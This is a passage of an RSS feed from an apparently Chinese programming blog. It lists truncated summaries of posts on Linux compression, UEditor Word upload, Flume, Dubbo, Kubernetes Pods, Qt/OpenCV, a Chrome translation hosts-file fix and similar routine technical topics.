      <description>文章目录 1 常见的压缩文件扩展名2 gzip, zcat/zmore/zless/zgrep3 bzip2, bzcat/bzmore/bzless/bzgrep4 xz, xzcat/xzmore/xzless/xzgrep5 tar6 zip、rar、7z7 多线程压缩 1 常见的压缩文件扩展名 *.Z compress 程序压缩的文件； *.zip zip 程序压缩的文件； *.gz gzip 程序压缩的文件； *.bz2 bzip2 程序压缩的文件； *.xz xz 程序压缩的文件； *.tar tar 程序打包的数据，并没有压缩过； *.tar.gz tar 程序打包的文件，其中并且经过 gzip 的压缩 *.tar.bz2 tar 程序打包的文件，其中并且经过 bzip2 的压缩 *.tar.xz tar 程序打包的文件，其中并且经过 xz 的压缩 Linux上常见的压缩指令就是compress、gzip、bzip2、xz，为了支持 windows 常见的 zip，Linux 也加入了 zip 指令。其中compress出现最早，现已不常用。gzip、bzip2、xz 按时间早晚先后出现，并且压缩比一个比一个高。&#xA;起初，tar 仅提供单纯的“打包”功能，即将很多文件打包为一个文件。后来，GNU 将整个 tar 与压缩的功能结合在一起，如此一来提供使用者更方便并且更强大的压缩与打包功能！&#xA;2 gzip, zcat/zmore/zless/zgrep gzip 可以说是应用度最广的压缩指令了！目前 gzip 可以解开 compress, zip 与 gzip 等软件所压缩的文件。gzip 所创建的压缩文件后缀名为 *.</description>
    </item>
    <item>
      <title>百度富文本编辑器UEditor配置及功能实现详解</title>
      <link>https://bchobby.github.io/posts/d2c0ba9ceae593790b15d6aa2a6f554d/</link>
      <pubDate>Fri, 11 Nov 2022 15:11:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2c0ba9ceae593790b15d6aa2a6f554d/</guid>
      <description>当前功能基于PHP，其它语言流程大抵相同。&#xA;大概流程：&#xA;1. 将docx文件上传到服务器中&#xA;2. 使用PHPoffice/PHPword实现将word转换为HTML&#xA;3. 将HTML代码返回并赋值到编辑器中&#xA;1 编辑器配置修改&#xA;1.1 新增上传word json配置&#xA;在ueditor\php\config.json中新增如下配置：&#xA;/* 上传word配置 */&#xA;&#34;wordActionName&#34;: &#34;wordupload&#34;, /* 执行上传视频的action名称 */&#xA;&#34;wordFieldName&#34;: &#34;upfile&#34;, /* 提交的视频表单名称 */&#xA;&#34;wordPathFormat&#34;: &#34;/public/uploads/word/{yyyy}{mm}{dd}/{time}{rand:6}&#34;, /* 上传保存路径,可以自定义保存路径和文件名格式 */&#xA;&#34;wordMaxSize&#34;: 102400000, /* 上传大小限制，单位B，默认100MB */&#xA;&#34;wordAllowFiles&#34;: [&#34;.docx&#34;] /* 仅支持docx格式的word */&#xA;1.2 修改编辑器配置文件&#xA;1.2.1 在工具栏上新增按钮&#xA;在ueditor\ueditor.config.js文件中，新增按钮名称&#34;wordupload&#34;，并添加鼠标悬浮提示，如下所示：&#xA;//工具栏上的所有的功能按钮和下拉框，可以在new编辑器的实例时选择自己需要的重新定义&#xA;, toolbars: [[&#xA;&#39;fullscreen&#39;, &#39;source&#39;, &#39;|&#39;, &#39;undo&#39;, &#39;redo&#39;, &#39;|&#39;,&#xA;&#39;bold&#39;, &#39;italic&#39;, &#39;underline&#39;, &#39;fontborder&#39;, &#39;strikethrough&#39;, &#39;superscript&#39;, &#39;subscript&#39;, &#39;removeformat&#39;, &#39;formatmatch&#39;, &#39;autotypeset&#39;, &#39;blockquote&#39;, &#39;pasteplain&#39;, &#39;|&#39;, &#39;forecolor&#39;, &#39;backcolor&#39;, &#39;insertorderedlist&#39;, &#39;insertunorderedlist&#39;, &#39;selectall&#39;, &#39;cleardoc&#39;, &#39;|&#39;,</description>
    </item>
    <item>
      <title>Flume汇入数据到Hive&amp;Hbase</title>
      <link>https://bchobby.github.io/posts/2290966736a78476d6956d05eee50d69/</link>
      <pubDate>Fri, 11 Nov 2022 14:50:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2290966736a78476d6956d05eee50d69/</guid>
      <description>提示：文章内容代码部分地方需要根据自身的环境路径进行修改！&#xA;目录&#xA;前言&#xA;一.Flume汇入数据到Hive&#xA;方法一：汇入到Hive指定的HDFS路径中：&#xA;1.在hive中创建数据库和外部表&#xA;2.在/root中创建hive.log文件 3.在flume的conf路径中编写配置文件&#xA;4.运行flume&#xA;5.查询hdfs中的数据&#xA;6.在hive表中加载数据&#xA;7.查询hive表中的数据&#xA;方法二：利用HiveSink汇入数据&#xA;1.从hive/lib和和hive/hcatalog/share/hcatalog/中找寻下列JAR包，放入到flume/lib中。如果flume中有重名的则先删除flume中的再进行复制。&#xA;2.编写flume的配置文件&#xA;3.在hive中创建表&#xA;4.在hive中设置权限&#xA;5.启动metastore服务&#xA;6.运行flume&#xA;7.查询数据&#xA;二.Flume 汇入数据到HBase&#xA;一、Flume 的HBaseSinks 详细介绍&#xA;二.HBaseSink&#xA;三.HBaseSinks的三种序列化模式使用&#xA;1.SimpleHbaseEventSerializer&#xA;2.SimpleAsyncHbaseEventSerializer&#xA;​编辑 3.RegexHbaseEventSerializer&#xA;总结&#xA;前言&#xA;提示：这里可以添加本文要记录的大概内容：&#xA;主要讲述Flume汇入数据到Hive&amp;amp;Hbase的方法及操作。&#xA;提示：以下是本篇文章正文内容，下面案例可供参考&#xA;一.Flume汇入数据到Hive 方法一：汇入到Hive指定的HDFS路径中： 1.在hive中创建数据库和外部表 代码：&#xA;create database flume; 代码：&#xA;create external table flume_into_hive(name string,age int) partitioned by (dt string) row format delimited fields terminated by &#39;,&#39; location &#39;/user/hive/warehouse/flume.db/flume_into_hive&#39;; 2.在/root中创建hive.log文件 代码：&#xA;mkdir flume-hive cd flume-hive/ vi hive.</description>
    </item>
    <item>
      <title>SNAP处理Sentinel-1数据</title>
      <link>https://bchobby.github.io/posts/4f8dbbab8664360e35ed14267d007430/</link>
      <pubDate>Fri, 11 Nov 2022 14:10:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f8dbbab8664360e35ed14267d007430/</guid>
      <description> ①轨道校正&#xA;Radar-&amp;gt;Apply orbit file 在弹出来的框中要选中“Do not fail if new orbit file is not found”&#xA;不然会出现错误“qc.seninel1.eo.esa.int”&#xA;②辐射校正&#xA;Radar-&amp;gt;Radiometric-&amp;gt;Calibrate&#xA;(一般在完成界面上方有一行红字就是操作成功完成了)&#xA;③相干斑滤波&#xA;Radar—&amp;gt;Speckle Filtering—&amp;gt;Single Product Speckle Filter&#xA;④地形校正&#xA;Radar —&amp;gt;Geometric — &amp;gt;Terrain Correction — &amp;gt; Range-Doppler Terrain Correction 在Digital Elevation Model这一行选择“SRTM 1Sec HGT(Auto Download)”,默认是3Sec会陷入无限的EDM获取中。 &#34;Mask out areas wiithout elevation&#34;前的勾去掉。 </description>
    </item>
    <item>
      <title>谷歌浏览器 无法翻译此网页问题（已解决，亲测有效</title>
      <link>https://bchobby.github.io/posts/8bb6c6448662e7cddc5f36d77d3f2d6e/</link>
      <pubDate>Fri, 11 Nov 2022 13:17:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8bb6c6448662e7cddc5f36d77d3f2d6e/</guid>
      <description>前言：习惯使用谷歌浏览器，这几天出现了无法翻译此网页的问题，本以为是版本的问题，没想到升级后还是不能翻译，在网上看到这个方法（更改hosts文件），亲测有效，写这篇文章记录分享一下。&#xA;一、找到C:\Windows\System32\drivers\etc目录下的hosts文件，如图示：&#xA;二、打开hosts文件（可以直接选择用记事本打开），打开后如图示：&#xA;三、修改hosts文件，在最下面加入&#xA;203.208.40.66 translate.google.com&#xA;203.208.40.66 translate.googleapis.com&#xA;四、 刷新 DNS，如图所示：&#xA;（win+R）打开控制台，输入ipconfig /flushdns 命令 刷新DNS&#xA;五、重启谷歌浏览器&#xA;到这里，谷歌浏览器应该就可以正常翻译了！&#xA;写在后面：&#xA;① 如果提示没有权限修改hosts文件，可以将hosts文件拖到桌面，修改完成后再放回原位置；也可以修改hosts文件的权限，这里不再详述。&#xA;② 修改hosts文件时，另一个方法是先在文件名后面加上.txt再进行修改，但是这样保存之后是另一个文本文件，而且后面还需要修改文件类型，比较麻烦，因此建议将hosts文件拖到桌面，修改完成后再放回原位置。</description>
    </item>
    <item>
      <title>Dubbo ScopeModel 的设计思想</title>
      <link>https://bchobby.github.io/posts/0c2aeb232086bab445fdff658721832e/</link>
      <pubDate>Fri, 11 Nov 2022 11:40:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c2aeb232086bab445fdff658721832e/</guid>
      <description>本文我来简单描述一下 Dubbo ScopeModel 的设计思想。&#xA;上图是 Dubbo ScopeModel 的源码、我们可以从一段简单的注释看到&#xA;FrameworkModel -&amp;gt; ApplicationModel -&amp;gt; ModuleModel，中间的映射都是 1:N 的 抽象这三个能力是为了实现 Dubbo 的多实例支持，FrameworkModel 是实现类似 JVM 租户级别的隔离，ApplicationModel 是为了实现一个机器上发布多个应用（如 demo-application1 和 demo-application2 一起发布），ModuleModel 是为了实现服务生命周期的独立管理（如一个 demo-application 可以由多个 Spring 容器共同提供）。&#xA;所以一个 Dubbo 服务是对应到 ModuleModel 上的。 举一个复杂一些的例子，比如:&#xA;目前需要发布 DemoInterface1、DemoInterface2、DemoInterface3、DemoInterface4 四个服务，分别订阅 DemoService1、DemoService2、DemoService3、DemoService4 四个服务。&#xA;其中 DemoInterface1 和 DemoInterface2 由 demo-application-1 这个应用名发布（而且由 2 个 Spring Context 分别管理），DemoInterface3 和 DemoInterface4 由 demo-application-2 这个应用名发布 ，DemoService1、DemoService2、DemoService3、DemoService4 由 demo-application-3 这个应用名订阅。此外出于多租户的考虑，DemoInterface1、DemoInterface2、DemoInterface3、DemoInterface4 在 20880 端口和 20881 端口都独立发布，这 8 个服务（多租户 2 * 4 个服务）的实现都不一样。</description>
    </item>
    <item>
      <title>独立逆变器系统MATLAB-simulink建模及仿真</title>
      <link>https://bchobby.github.io/posts/79048f725408d375a19da45df59bd10f/</link>
      <pubDate>Fri, 11 Nov 2022 09:31:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/79048f725408d375a19da45df59bd10f/</guid>
      <description>独立逆变器不同于并网逆变器，是一种将直流电转换为特定频率与幅值交流电的电力电子装置，一般作为EPS、UPS以及孤岛微电网系统的雏形装置。由于其负载的多样性导致独立逆变器必须具备快速适应负载变化的特性。本设计通过对独立逆变器系统传递函数分析并由分析结果设计PID控制器，实现了电压电流三闭环的控制系统仿真，其仿真结果在不同比例系数下做了比较，同开环系统相比更具备快速响应能力和更高的系统稳定性，对不同的负载变化也更加满足响应要求。&#xA;一、系统框架图&#xA;本设计逆变器主电路如图所示，经过LCL滤波器，滤除高频成分在负载处获得光滑的正弦波，控制技术采用正弦脉宽调制法（SPWM），图中L1、L2为滤波电感，其各自线路有等效阻抗RL。&#xA;假设负载为电阻R时，输出电压与输入电压之间的传递函数为：&#xA;当负载为R无穷大时，得到逆变空载时的传递函数：&#xA;由于逆变器在空载时的阻尼最小，振荡性最为强烈，控制难度也大，因此控制器的设计也必须基于空载来进行，逆变器空载时的传递函数可表示为： 其中， 设计中，滤波电感L=2mH，RL=1Ω，滤波电容C=20uF，功率管开关频率为10KHz，代入式可得： 阻尼系数 转折频率为&#xA;由自控原理知识，系统在转折频率处出现较大的谐振峰值，且随着负载R得不断增大谐振峰值也增加，在R无穷大空载时，谐振峰值达到最大， 为了保证系统在任何负载条件下都能够稳定，设计时以空载状态下谐振频率点处的稳定性作为设计指标。&#xA;二、PID算法及控制器设计&#xA;模拟式PID算法表达式为&#xA;其中， 为控制器的输出信号，为误差信号，是比例系数，是积分时间常数，是微分时间常数，写成传递函数形式： 以和式代替积分，以增量代替微分，离散化后，为&#xA;其中，T为采样周期，令积分系数，微分系数，则有 增量式PID算法为：&#xA;当逆变器采用PID控制方式时，由于被控对象本身为相位滞后系统，逆变桥在系统中的作用也等效为一阶保持器，具有一个开关周期的滞后效应，再加上数控系统本身的计算延迟，使整个系统滞后效应非常明显，宜采用P调节器或微分作用很小的PD调节器，不宜采用具有滞后作用的积分运算。&#xA;PID控制器参数的整定一般采用试凑法，先采用比例控制器，KP有小到大逐渐改变直到系统变得不稳定，如果此时可以得到满意的系统特性，表明只采用比例调节器即可。如果系统的动态特性和 稳定精度不能满足要求，可采用PI调节器。开始时，把参数TI设大一些，然后反复调整KP和TI。如果系统的动态特性不能满足要求，可以再加入微分调节器。TD由小到大逐次改变，并相应改变KP值，反复试凑，直到得到满意的性能为止。&#xA;在控制过程中，不希望输出值出现极限状态，为安全起见，设置了上限限位和下限限位。&#xA;三、仿真建模及结果分析&#xA;1、独立逆变器建模&#xA;独立逆变器不同于并网逆变器，这是一种将直流电转换为特定频率与幅值交流电的电力电子装置，一般作为EPS、UPS以及孤岛微电网系统的雏形装置。直流侧接蓄电池，由大电容稳压，经逆变桥转换为交流电，再经滤波器输出至负载端，由于负载的多样性导致独立逆变器必须具备快速适应负载变化的特性。&#xA;利用matlab建立了基于电压电流内环的单相独立逆变器的仿真模型，如图2所示。&#xA;电压外环的输出量Uref*(311V)与输出端电压Uac的误差值送入PID调节器，PID调节器输出信号Iref*，Iref*作为电流内环的给定信号，电流互感器采集的负载电流信号与Iref*的误差值送入PID调节器，产生用于产生PWM脉冲的调制波信号，从而保证独立逆变器输出端电压与负载电流的稳定性。PID调节器的输出可用于限制负载电流幅值以防止系统过流从而起到保护独立逆变器的作用。&#xA;SPWM产生模块如下图：&#xA;IGBT全桥逆变双脉冲输入模块如下图：&#xA;2、仿真结果&#xA;独立逆变器输出电压与电流波形&#xA;独立逆变器输出电压波形&#xA;独立逆变器输出电压反馈处误差波形&#xA;四、1KW储能逆变器功能说明&#xA;1、储能逆变器两种工作模式&#xA;（1）并网模式（并网充电、并网放电）；（2）独立逆变模式。&#xA;2、运行状态描述&#xA;当逆变器器开机进入初始状态时，控制系统将完成自检，以验证控制和传感器系统的完整性。监控和保护功能正常启动，变流器进入停机状态。停机状态时，储能变流器封锁IGBT脉冲，断开交直流继电器。待机状态时，储能变流器封锁IGBT脉冲，但闭合交直流继电器，变流器处于热备份状态。&#xA;储能逆变器可以在不同模式中转换，需要满足的条件如图7所示。&#xA;3、功能描述&#xA;①运行信息，即运行指示灯和实时数据显示功能。实时数据显示包括：“直流电压”，“直流电流”，“电网电压”，“电网电流”，“电网频率”，“机内温度”，“充电功率”，“放电功率”，“有功功率”，“无功功率”，“功率因数”以及当前工作状态，各模块温度等等。&#xA;②三种模式功能：&#xA;充电模式---包括恒压充电、恒流充电、恒功率充电；&#xA;放电模式---包括限压放电、恒流放电、恒功率放电；&#xA;控制模式---包括待机、停机、计时充放电、独立逆变功能。&#xA;③参数设置功能：&#xA;系统参数设置---包括密码设置、时钟、电量校正、恢复出厂；&#xA;保护参数设置---直流过压点、直流欠压点、电网过频值、电网欠频值、电网过压值、电网欠压值；&#xA;通讯参数设置---设置设备地址、波特率、通讯方式。&#xA;④历史信息查询功能：&#xA;历史事件---机器最近的100条运行信息（非故障）；&#xA;故障信息---机器最近的100条故障信息，包括发生时间和故障类型。</description>
    </item>
    <item>
      <title>Dubbo源码分析</title>
      <link>https://bchobby.github.io/posts/f7a57083cbbea77abfd6e42e19679374/</link>
      <pubDate>Thu, 10 Nov 2022 23:35:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f7a57083cbbea77abfd6e42e19679374/</guid>
      <description>Apache Dubbo 是一款 RPC 服务开发框架，用于解决微服务架构下的服务治理与通信问题。相比其他RPC框架，dubbo更加灵活，可以做到方法级别的服务治理，粒度更细。&#xA;Dubbo作用域隔离 Dubbo 3.x支持在一个进程中启动多个dubbo实例，通过ApplicationModel进行隔离。&#xA;利用父委派机制/双亲委派模型进行类的加载，比如加载ModuleConfig，ModuleModel会先委派父级ApplicationModel，ApplicationModel会委派给它的父级FrameworkModel，FrameworkModel加载不了，然后会重新交给ApplicationModel，ApplicationModel也加载不了，又再次递回给ModuleModel去加载。&#xA;父委派/双亲委派模型：某个特定的类加载器在接到加载类的请求时，首先将加载任务委派给父类加载器，依次递归到顶级父类，如果父类加载器可以完成类加载任务，就成功返回；如果父类加载器无法完成加载任务，再反向交给子类加载器去加载，依次反向递归，直到某个子类加载器完成加载任务。&#xA;dubbo通过作用域ScopeModel对不同范围的配置数据进行作用域管理：&#xA;Dubbo如何实现双亲委派 new ServiceConfig() --&amp;gt; new AbstractServiceConfig() --&amp;gt; new AbstractServiceConfig() --&amp;gt; new AbstractInterfaceConfig() --&amp;gt; new AbstractMethodConfig() --&amp;gt; ApplicationModel.defaultModel().getDefaultModule()&#xA;public class FrameworkModel extends ScopeModel { public FrameworkModel() { super(null, ExtensionScope.FRAMEWORK, false); this.setInternalId(String.valueOf(index.getAndIncrement())); // register FrameworkModel instance early synchronized (globalLock) { allInstances.add(this); resetDefaultFrameworkModel(); } initialize(); // 初始化framework范围的配置 } @Override protected void initialize() { super.initialize(); TypeDefinitionBuilder.initBuilders(this); // 定义作用域类型 // 定义当前作用域范围内存仓库 serviceRepository = new FrameworkServiceRepository(this); // 扩展点 ExtensionLoader&amp;lt;ScopeModelInitializer&amp;gt; initializerExtensionLoader = this.</description>
    </item>
    <item>
      <title>Linux系统上库文件的生成与使用（静态库和动态库）</title>
      <link>https://bchobby.github.io/posts/06dfba1d09436f13c65db16dc71c7c65/</link>
      <pubDate>Thu, 10 Nov 2022 23:12:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06dfba1d09436f13c65db16dc71c7c65/</guid>
      <description>目录&#xA;1、什么是库文件？&#xA;2、静态库的生成与使用&#xA;2.1、生成 .o 文件&#xA;2.2、创建静态库&#xA;2.3、使用静态库&#xA;3、动态（共享）库的生成与使用&#xA;3.1、生成 .o 文件&#xA;3.2、生成动态库文件&#xA;3.3、使用动态库&#xA;4、静态库与动态库的区别&#xA;1、什么是库文件？ 库是一组预先编译好的方法的集合，是计算机上的一类文件，提供给使用者一些开箱即用的变量、函数或类。库文件分为静态库和动态库，静态库和动态库的区别体现在程序的链接阶段。&#xA;一般来说，Windows的静态库文件扩展名是 .lib，动态库文件扩展名是 .dll (Dynamic-Link Libraries)；Linux的静态库扩展名是 .a，动态库扩展名是 .so (Shared Object)。内容一样，都是将函数封装，编译后生成.o文件，将所有 .o 文件合并生成库文件，再将供自己或他人调用。好处在于编译后的库文件的源代码被加密，使用者看不到，可保密。&#xA;Linux系统存储的库的位置一般在：/lib 和 /usr/lib。 在 64 位的系统上有些库也可能被存储在/usr/lib64 下。库的头文件一般会被存储在 /usr/include 下或其子目录下。&#xA;Linux库有两种，一种是静态库，其命令规则为 libxxx.a；一种是共享库，其命令规则为 libxxx.so。&#xA;2、静态库的生成与使用 静态库是.o 文件打包的结果，.o文件的数量可以是1个，也可以是多个。生成的过程需要使用 ar 工具来操作。&#xA;测试文件：&#xA;add.c：&#xA;max.c：&#xA;foo.h：&#xA;main.c：&#xA;2.1、生成 .o 文件 使用命令：gcc -c 源文件序列。&#xA;命令的用法是多种多样的，可以分步经 预处理、编译、汇编 生成 .o 文件，也可以直接使用 gcc -c 源文件名，一步生成 .o 文件。&#xA;例如，使用命令 gcc -c add.</description>
    </item>
    <item>
      <title>20、断点调试（debug）</title>
      <link>https://bchobby.github.io/posts/554d9d4874c479ea7e6bfbaca47633e0/</link>
      <pubDate>Thu, 10 Nov 2022 21:59:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/554d9d4874c479ea7e6bfbaca47633e0/</guid>
      <description>1、基本介绍：&#xA;（1）断点调试是指在程序的某一行设置一个断点，调试时，程序运行到这一行就会停住，然后你可以一步一步往下调试，调试过程可以看各个变量当前的值，出错的话，调试到出错的代码行即显示错误，停下，进行分析从而找到这个Bug&#xA;（2）断点调试也能帮助我们查看java底层源代码的执行过程，提高我们的java水平&#xA;（3）在断点调试过程中，是运行状态，是以对象的运行类型来执行的&#xA;2、快捷键：&#xA;F7：跳入方法内&#xA;F8：逐行执行代码（跳过）&#xA;shift+F8：跳出方法&#xA;F9：rsume，执行到下一个断点&#xA;3、案例：&#xA;（1）&#xA;（2）追源码（看java设计者是怎么实现的，可以提高编程思想）&#xA;技巧：将光标放在某个变量上，可以看到最新的数据&#xA;idea debug如何进入jdk源码？&#xA;方法1：&#xA;使用force step into;快捷键alt+shift+F7&#xA;方法2：&#xA;idea→Setting→Build,Execution,Deployment→Debugger→Stepping→把&#34;Do not step into the classes&#34;中的java.*,javax.*取消勾选即可→然后把光标放在某个变量上，点击“步入”的键即可进入源码中&#xA;（3）如何直接执行到下一个断点F9（在debug过程中动态地下断点，随意地快进）&#xA;下完断点后，点击左侧的绿键即可运行 4、练习题&#xA;package Debug; //使用断点调试的方法追踪下一个对象创建的过程 //另外也使用断点调试来查看动态绑定机制是如何工作的 public class DebugExercise { public static void main(String[] args) { //创建对象的流程 //1、加载Person信息 //2、初始化 2.1默认初始化 2.2显式初始化 2.3构造器初始化 //3、返回对象的地址 Person1 p1=new Person1(&#34;jack&#34;,18); System.out.println(p1); } } class Person1{ private String name; private int age; public Person1(String name, int age) { this.</description>
    </item>
    <item>
      <title>k8s Pod基础概念</title>
      <link>https://bchobby.github.io/posts/86344b3ae1bd99aa9b9db07aa4175036/</link>
      <pubDate>Thu, 10 Nov 2022 18:09:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/86344b3ae1bd99aa9b9db07aa4175036/</guid>
      <description>目录&#xA;一、资源限制&#xA;二、Pod的两种使用方式&#xA;三、Pod资源共享&#xA;四、底层容器Pause&#xA;1.Pause共享资源&#xA;网络&#xA;存储&#xA;2.Pause主要功能&#xA;3.Pod与Pause结构的设计初衷&#xA;五、Pod容器的分类&#xA;1.基础容器（infrastructure container）&#xA;2.初始化容器（init container）&#xA;Init 的容器作用&#xA;3.应用容器（main container）&#xA;六、操作示例&#xA;1.编写myapp.yaml&#xA;2.myapp.yaml配置资源&#xA;3.查看pod创建过程&#xA;4. 发现开启 init-myservice 容器后，创建步骤停滞，查看 init-myservice 日志进一步查明原因&#xA;5.编写myservice.yaml&#xA;6.创建myservice.yaml配置资源&#xA;7.编写mydb.yaml&#xA;8.创建mydb.yaml配置资源&#xA;9. chakan myapp-pod创建全过程&#xA;10.小结&#xA;七、镜像拉取策略（Image PullPolicy）&#xA;1、官方示例&#xA;2.不指定版本，查看默认拉取策略&#xA;不指定版本号创建Pod&#xA;查看默认拉取策略&#xA;查看创建过程&#xA;3.测试案例（非循环命令）&#xA;创建测试案例mypod.yaml&#xA;查看创建过程&#xA;修改mypod.yaml&#xA;删除原有资源&#xA;更新资源&#xA;4.测试案例（循环命令）&#xA;修改mypod.yaml&#xA;生成新的 mypod.yaml 配置资源&#xA;检查mypod.yaml文件&#xA;查看pod日志&#xA;一、资源限制 Pod是kuberbetes中最小的资源管理组件，Pod也是最小化运行容器化应用的资源对象。一个Pod代表着集群中运行的一个进程。kubernetes中其他大多数组件都是围绕着Pod来进行支撑和扩展Pod功能的，例如用于管理Pod运行的StatefuSet和Deployment等控制器对象，用于暴露Pod应用的Service和Ingress对象，为Pod提供存储的PersistenVolume存储资源对象等。&#xA;二、Pod的两种使用方式 一个Pod中运行一个容器，每个Pod中一个容器的模式是最常见的用法，在这种使用方法中，你可以把Pod想象成是单个容器封装，kubernetes管理的是 Pod而不是直接管理容器。在一个Pod中同时运行多个容器。一个Pod也可以同时封装吉哥需要紧密耦合互相协作的容器，它们之间共享资源。这些在同一个Pod中的容器可以互相协作成为一个service单位，比如一个容器共享文件，另一个sidecar容器来更新这些文件。Pod将这些容器的存储作为一个实体来管理。 三、Pod资源共享 一个 Pod 下的容器必须运行于同一节点上。**现代容器技术建议一个容器只运行一个进程，该进程在容器中 PID 命令空间中的进程号为 1，可直接接收并处理信号，进程终止时容器生命周期也就结束了。</description>
    </item>
    <item>
      <title>处理vscode下的控制台输入node时,出现“无法将“node”项识别为 cmdlet、函数、脚本文件或可运行程序的名称“的报错</title>
      <link>https://bchobby.github.io/posts/ded01de69fa25669699ff041cad2b087/</link>
      <pubDate>Thu, 10 Nov 2022 15:57:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ded01de69fa25669699ff041cad2b087/</guid>
      <description>1、vscode下按出powershell的快捷键:Ctrl+~&#xA;2、输入node命令,报错如下:&#xA;3、解决办法：&#xA;在window搜索栏输入&#34;windows powershell &#34;,以管理员身份运行后输入命令:&#xA;set-ExecutionPolicy RemoteSigned，回车后选择a</description>
    </item>
    <item>
      <title>Qt OpenCV 在界面显示图片 通过Lable方式 和GraphicsView 方式</title>
      <link>https://bchobby.github.io/posts/0c04b42095cb0baa7291596539f31c11/</link>
      <pubDate>Thu, 10 Nov 2022 15:42:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c04b42095cb0baa7291596539f31c11/</guid>
      <description>1. 通过lable方式打开图片。 代码如下：&#xA;void MainWindow::on_pushButton_clicked() { Mat srcImage,gray_image,srcImage1; QString Fileadd = QFileDialog::getOpenFileName(this,&#34;get file&#34;); if(Fileadd.isEmpty()) { QMessageBox::information(this,&#34;警告&#34;,&#34;没有选择文件&#34;); return ; } srcImage = imread(Fileadd.toLatin1().data()); //读取图片 cvtColor(srcImage,srcImage1,COLOR_BGR2RGB); // 图像格式转换 QImage disImage = QImage((const unsigned char*)(srcImage1.data),srcImage1.cols,srcImage1.rows,QImage::Format_RGB888); ui-&amp;gt;label-&amp;gt;setPixmap(QPixmap::fromImage(disImage.scaled(ui-&amp;gt;label-&amp;gt;size(), Qt::KeepAspectRatio))); } 效果图如下：&#xA;2.Graphics View 方式打开图片 代码如下：&#xA;void MainWindow::on_pushButton_2_clicked() { QString fileName = QFileDialog::getOpenFileName(this,tr(&#34;Open Image&#34;),&#34;.&#34;,tr(&#34;Image File(*.png *.jpg *.jpeg *.bmp)&#34;)); if (fileName.isEmpty()) { return; } Mat srcImage = imread(fileName.toLatin1().data());//读取图片数据 cvtColor(srcImage, srcImage, COLOR_BGR2RGB);//图像格式转换 QImage disImage = QImage((const unsigned char*)(srcImage.</description>
    </item>
    <item>
      <title>微服务国产化改造-金蝶Apusic应用服务器</title>
      <link>https://bchobby.github.io/posts/c37f55a5eb42902750a3a4e6ed0e1c25/</link>
      <pubDate>Thu, 10 Nov 2022 14:44:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c37f55a5eb42902750a3a4e6ed0e1c25/</guid>
      <description>一、金蝶Apusic配置 2.1、修改启动端口 注意查看端口是否被使用&#xA;lsof -i tcp:9999&#xA;修改/opt/AAS/domains/mydomain/config/apusic.conf&#xA;&amp;lt;ATTRIBUTE NAME=&#34;Port&#34; VALUE=&#34;9999&#34; /&amp;gt;&#xA;2.2、修改jvm启动参数&#xA;根据需要，修改/opt/AAS/domains/mydomain/bin/data.xml&#xA;&amp;lt;aasjvm&amp;gt;-Xms2g -Xmx2g -XX:MaxPermSize=768m&amp;lt;/aasjvm&amp;gt;&#xA;2.3、开启DELETE,PUT,TRACE,OPTIONS请求方式&#xA;修改文件/opt/AAS/domains/mydomain/config/vm.options&#xA;注释apusic.http.disabledMethods&#xA;#apusic.http.disabledMethods=DELETE,PUT,TRACE,OPTIONS&#xA;二、后端服务改造&#xA;2.1、pom.xml改造&#xA;排除springboot内嵌tomcat&#xA;&amp;lt;dependency&amp;gt;&#xA;&amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt;&#xA;&amp;lt;artifactId&amp;gt;spring-boot-starter-tomcat&amp;lt;/artifactId&amp;gt;&#xA;&amp;lt;scope&amp;gt;provided&amp;lt;/scope&amp;gt;&#xA;&amp;lt;/dependency&amp;gt;&#xA;添加servlet支持&#xA;&amp;lt;dependency&amp;gt;&#xA;&amp;lt;groupId&amp;gt;javax.servlet&amp;lt;/groupId&amp;gt;&#xA;&amp;lt;artifactId&amp;gt;jstl&amp;lt;/artifactId&amp;gt;&#xA;&amp;lt;/dependency&amp;gt;&#xA;&amp;lt;dependency&amp;gt;&#xA;&amp;lt;groupId&amp;gt;javax.servlet&amp;lt;/groupId&amp;gt;&#xA;&amp;lt;artifactId&amp;gt;javax.servlet-api&amp;lt;/artifactId&amp;gt;&#xA;&amp;lt;version&amp;gt;3.1.0&amp;lt;/version&amp;gt;&#xA;&amp;lt;/dependency&amp;gt;&#xA;修改打包方式&#xA;&amp;lt;packaging&amp;gt;war&amp;lt;/packaging&amp;gt;&#xA;打包插件配置&#xA;&amp;lt;plugin&amp;gt;&#xA;&amp;lt;groupId&amp;gt;org.apache.maven.plugins&amp;lt;/groupId&amp;gt;&#xA;&amp;lt;artifactId&amp;gt;maven-war-plugin&amp;lt;/artifactId&amp;gt;&#xA;&amp;lt;version&amp;gt;2.2&amp;lt;/version&amp;gt;&#xA;&amp;lt;configuration&amp;gt;&#xA;&amp;lt;!--如果想在没有web.xml文件的情况下构建WAR，请设置为false。--&amp;gt;&#xA;&amp;lt;failOnMissingWebXml&amp;gt;false&amp;lt;/failOnMissingWebXml&amp;gt;&#xA;&amp;lt;/configuration&amp;gt;&#xA;&amp;lt;/plugin&amp;gt;&#xA;2.2、启动类修改&#xA;继承SpringBootServletInitializer ，重写 configure 方法。&#xA;public class OrganizationApplication extends SpringBootServletInitializer {&#xA;@Override&#xA;protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {&#xA;return builder.sources(new Class[]{OrganizationApplication.</description>
    </item>
    <item>
      <title>使用Ventoy制作U盘启动项</title>
      <link>https://bchobby.github.io/posts/37bfad2babc309beb3c1ac0170fde476/</link>
      <pubDate>Thu, 10 Nov 2022 14:43:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/37bfad2babc309beb3c1ac0170fde476/</guid>
